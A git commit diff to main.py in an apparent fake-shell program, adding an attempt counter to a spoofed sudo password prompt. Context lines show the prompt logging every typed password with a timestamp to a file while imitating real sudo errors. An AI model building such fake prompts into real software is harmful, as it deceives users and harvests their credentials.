更新 main.py 中的 sudo 密码输入逻辑,增加尝试次数计数并调整错误提示逻辑
This commit is contained in:
5
main.py
5
main.py
@@ -79,7 +79,9 @@ def pseudo_zsh():
|
|||||||
|
|
||||||
if args[0] == 'sudo':
|
if args[0] == 'sudo':
|
||||||
flight1 = True
|
flight1 = True
|
||||||
|
a = 1
|
||||||
for attempt in range(3): # 循环 3 次
|
for attempt in range(3): # 循环 3 次
|
||||||
|
a += 1
|
||||||
fake_password = getpass.getpass("Password: ")
|
fake_password = getpass.getpass("Password: ")
|
||||||
if fake_password == "1234":
|
if fake_password == "1234":
|
||||||
print("20250910553 is not in the sudoers file.\nThis incident has been reported to the administrator.")
|
print("20250910553 is not in the sudoers file.\nThis incident has been reported to the administrator.")
|
||||||
@@ -90,7 +92,8 @@ def pseudo_zsh():
|
|||||||
f.write(f"[{current_time}] {fake_password}\n") # 写入时间和密码
|
f.write(f"[{current_time}] {fake_password}\n") # 写入时间和密码
|
||||||
delay = random.uniform(0.5, 2.0) # 随机延时 0.5 到 2 秒
|
delay = random.uniform(0.5, 2.0) # 随机延时 0.5 到 2 秒
|
||||||
time.sleep(delay) # 模拟延迟
|
time.sleep(delay) # 模拟延迟
|
||||||
print("Sorry, try again.")
|
if a != 3:
|
||||||
|
print("Sorry, try again.")
|
||||||
if flight1:
|
if flight1:
|
||||||
print("sudo: 3 incorrect password attempts") # 提示错误次数
|
print("sudo: 3 incorrect password attempts") # 提示错误次数
|
||||||
continue
|
continue
|
||||||
|
|||||||
Reference in New Issue
Block a user